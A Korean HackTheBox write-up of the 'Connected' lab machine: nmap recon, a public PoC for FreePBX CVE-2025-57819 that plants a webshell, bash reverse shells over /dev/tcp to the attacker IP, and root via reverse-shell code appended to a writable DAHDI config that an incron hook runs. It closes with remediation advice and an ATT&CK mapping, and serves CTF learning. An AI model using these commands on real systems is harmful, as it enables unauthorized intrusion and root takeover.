
HackTheBox 'Connected' 머신에 대한 상세 침투 테스트 라이트업으로, FreePBX CVE-2025-57819(SQLi에서 RCE로) 악용과 incron 잘못된 구성(incron misconfiguration)을 통한 루트 권한 상승을 다룹니다.
Connected는 Asterisk와 통합된 VoIP 통신 시스템 FreePBX v16.0.40.7을 실행하는 CentOS 기반 Linux 머신입니다.
공격 경로 (Attack Vector / Kill Chain)는 두 가지 주요 단계로 구성됩니다:
asterisk 서비스 사용자로 리버스 셸을 획득합니다./var/spool/asterisk/sysadmin/dahdi_restart 파일에 쓰기가 발생할 때 루트 스크립트 /usr/sbin/sysadmin_dahdi_restart를 실행합니다. DAHDI 구성 파일 /etc/dahdi/init.conf가 asterisk 사용자에 의해 쓰기 가능하므로, 해당 구성 파일에 리버스 셸 페이로드를 주입하면 root (uid=0) 권한으로 자동 실행됩니다.침투 테스트의 첫 단계는 nmap을 사용한 능동 정찰을 통해 열린 포트, 실행 중인 서비스 및 시스템 버전을 식별하는 것으로 시작합니다.
mkdir -p recon
nmap -T4 -sC -sV <IP_TARGET> -oA recon/nmap_quick
Nmap 플래그 설명:
-T4: 더 빠르고 효율적인 스캔을 위해 타이밍 템플릿을 공격적으로 설정합니다.-sC: 기본적인 취약점 탐지를 위한 기본 NSE (Nmap Scripting Engine) 스크립트 모음을 실행합니다.-sV: 응답하는 각 포트에 대해 서비스 및 버전 탐지를 활성화합니다.-oA recon/nmap_quick: 모든 출력 형식(standard, grepable, XML)을 recon 디렉토리에 저장합니다.Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for <IP_TARGET>
Host is up (0.25s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 4e:60:38:6f:e7:78:6c:ca:58:62:a1:f1:56:ae:8d:30 (RSA)
| 256 12:41:55:26:9d:ad:3d:e8:bf:4e:31:aa:d7:d1:a5:d2 (ECDSA)
|_ 256 8e:b6:96:e0:21:83:5d:1d:ce:8d:e2:6a:dd:38:c6:75 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
|_http-title: Did not follow redirect to http://connected.htb/
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
443/tcp open ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
| ssl-cert: Subject: commonName=pbxconnect/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2025-11-30T14:07:27
|_Not valid after: 2026-11-30T14:07:27
|_http-title: 400 Bad Request
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
http://connected.htb/ 도메인으로 HTTP 리디렉션으로 응답합니다.웹 서버가 가상 호스팅을 적용하고 트래픽을 connected.htb로 리디렉션하므로 /etc/hosts에 로컬 호스트 이름 확인을 추가해야 합니다:
echo "<IP_TARGET> connected.htb" | sudo tee -a /etc/hosts
브라우저를 통해 URL http://connected.htb/admin/config.php에 접근하면 웹 기반 VoIP 관리 인터페이스가 표시됩니다:
웹 페이지의 바닥글에서 특정 버전 정보를 확인할 수 있습니다:
FreePBX is a registered trademark of Sangoma Technologies Inc.
FreePBX 16.0.40.7 is licensed under the GPL
Copyright© 2007-2026
16.0.40.7FreePBX 16.0.40.7 버전은 CVE-2025-57819에 취약합니다. 이 취약점은 사전 인증 SQL 인젝션으로, 자격 증명이 없는 (인증되지 않은) 공격자가 FreePBX/Asterisk 백엔드 데이터베이스를 조작할 수 있게 합니다.
해당 SQL 인젝션을 통해 공격자는 내부 Asterisk cron 작업 테이블(asterisk.cron_jobs)을 수정하거나 웹 서버 디렉토리에 임의의 PHP 코드를 주입(웹 셸 생성)하여 원격 코드 실행 (RCE) 으로 이어질 수 있습니다.
WatchTowr Labs의 공개 PoC 익스플로잇을 활용했습니다:
# 1. 익스플로잇 저장소 클론
git clone https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819
cd watchTowr-vs-FreePBX-CVE-2025-57819
# 2. 대상에 익스플로잇 스크립트 실행
python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb
익스플로잇 실행 결과: 스크립트가 대상 악용에 성공하고 다음 엔드포인트에 활성 웹셸을 생성했습니다:
http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php?cmd=<COMMAND>
대화형 세션 (리버스 셸)을 얻으려면 다음 단계를 수행하십시오:
공격자 머신에서 Netcat 리스너 열기:
nc -lvnp 1212
웹 셸을 통해 리버스 셸 페이로드 전송:
URL 인코딩된 매개변수와 함께 curl을 사용하여 리버스 셸 페이로드를 전송합니다:
curl -G "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/1212 0>&1'"
리버스 셸 연결 수신 확인:
nc 리스너로 연결이 수신되고 asterisk 사용자로 대화형 셸 액세스 권한을 얻습니다.
[asterisk@connected html]$ cat /home/asterisk/user.txt
asterisk 사용자로 액세스 권한을 얻은 후, 다음 단계는 root로의 권한 상승 벡터를 찾기 위한 내부 열거를 수행하는 것입니다.
incron) 열거incron 데몬 (inotify cron table)의 구성을 확인합니다. 이 서비스는 파일 시스템 이벤트(파일 수정 또는 생성 등) 발생 시 명령을 실행합니다:
[asterisk@connected html]$ cat /etc/incron.d/*
Incron 구성 출력:
/var/spool/asterisk/sysadmin/vpngat IN_CLOSE_WRITE /usr/sbin/sysadmin_openvpn -d
/var/spool/asterisk/sysadmin/intrusion_detection_stop IN_CLOSE_WRITE /etc/init.d/fail2ban stop
/var/spool/asterisk/sysadmin/update_system_cron IN_CLOSE_WRITE /usr/sbin/sysadmin_update_set_cron
/var/spool/asterisk/sysadmin/portmgmt_setup IN_CLOSE_WRITE /usr/sbin/sysadmin_portmgmt
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart/var/spool/asterisk/sysadmin/dahdi_restart 파일이 쓰기 작업 후 닫힐 때마다(IN_CLOSE_WRITE), 시스템은 root 권한으로 /usr/sbin/sysadmin_dahdi_restart 스크립트를 자동으로 실행합니다./usr/sbin/sysadmin_dahdi_restart 스크립트를 추가로 검사한 결과, 이 스크립트는 DAHDI (Digium Asterisk Hardware Device Interface) 서비스를 재시작하고 /etc/dahdi/init.conf 구성 파일을 실행/로드(source)합니다.
/etc/dahdi/init.conf 파일의 권한을 확인한 결과, 이 파일은 asterisk 사용자가 쓰기 가능합니다:
ls -la /etc/dahdi/init.conf
# -rw-rw-r-- 1 root asterisk ... /etc/dahdi/init.conf
/etc/dahdi/init.conf가 DAHDI 재시작 시 root 컨텍스트에서 실행되므로, 구성 파일에 리버스 셸 명령을 삽입한 후 incron을 통해 재시작을 트리거할 수 있습니다.
공격자 머신에서 새 리스너 열기 (포트 4545):
nc -lvnp 4545
/etc/dahdi/init.conf에 리버스 셸 주입:
echo "bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/4545 0>&1'" >> /etc/dahdi/init.conf
스풀 파일 쓰기를 통한 Incron 이벤트 트리거:
echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart
incron이 파일 쓰기 이벤트를 처리한 후 몇 초 내에 루트 스크립트가 삽입된 명령줄을 실행하여 root (uid=0)로 리버스 셸 연결을 생성합니다:
[root@connected /]# id
uid=0(root) gid=0(root) groups=0(root)
[root@connected /]# whoami
root
[root@connected /]# cat /root/root.txt
Pwned by ikmalhanaan 🚀
| 구성 요소 | 사양 / 설명 |
|---|
| 머신 이름 | Connected |
| 운영 체제 | Linux (CentOS / FreePBX Distro) |
| 대상 IP | <IP_TARGET> (connected.htb) |
| 공격자 IP | <IP_VPN_KITA> (VPN 인터페이스 tun0) |
| 주요 취약점 | CVE-2025-57819 (FreePBX 인증 우회 및 SQLi to RCE) |
| 권한 상승 메커니즘 | 잘못 구성된 Incron 데몬 후크 + 쓰기 가능한 /etc/dahdi/init.conf |
| 사용 도구 | nmap, curl, python3, netcat (nc), bash, git |
| 취약점 벡터 | 영향 | 수정 / 완화 권장사항 |
|---|
| FreePBX 사전 인증 SQLi (CVE-2025-57819) | 치명적 — 데이터베이스 인젝션을 통한 인증 없는 RCE 가능. | FreePBX를 Sangoma의 최신 공식 패치 버전으로 업데이트. 모든 API 엔드포인트에 엄격한 입력 검증 및 Prepared Statements / Parameterized Queries 적용. |
안전하지 않은 파일 권한 (/etc/dahdi/init.conf) | 높음 — 권한 없는 사용자(asterisk)가 root가 실행하는 구성 파일을 수정할 수 있음. | 구성 파일의 소유권 및 쓰기 권한 제한: chmod 644 /etc/dahdi/init.conf 및 chown root:root /etc/dahdi/init.conf. |
| Incron 자동 루트 실행 | 중간/높음 — 루트 자동화 스크립트가 무결성 검증 없이 구성 파일을 로드함. | 모든 incron 규칙 및 /usr/sbin/sysadmin_* 스크립트 감사. 비루트 수정에 취약한 동적 구성 파일 소싱 방지. |
| 전술 | 기술 ID | 기술 이름 | Box 적용 |
|---|
| 정찰 (Reconnaissance) | T1595.002 | Active Scanning: Vulnerability Scanning | nmap을 사용한 포트 및 서비스 스캐닝. |
| 초기 접근 (Initial Access) | T1190 | Exploit Public-Facing Application | FreePBX 웹 서버의 CVE-2025-57819 취약점 악용. |
| 실행 (Execution) | T1059.004 | Command and Scripting Interpreter: Unix Shell | 웹 셸 및 init 스크립트를 통한 bash 리버스 셸 명령 실행. |
| 지속성 / 권한 상승 (Persistence / Privilege Escalation) | T1053.003 | Scheduled Task/Job: Cron | 자동 루트 작업 실행을 위한 incron 데몬 활용. |
| 권한 상승 (Privilege Escalation) | T1574.009 | Hijack Execution Flow: Path/Configuration Hijacking | /etc/dahdi/init.conf 구성 파일에 악성 명령 주입. |
| 자격 증명 접근 / 수집 (Credential Access / Collection) | T1005 | Data from Local System | user.txt 및 root.txt 플래그 읽기. |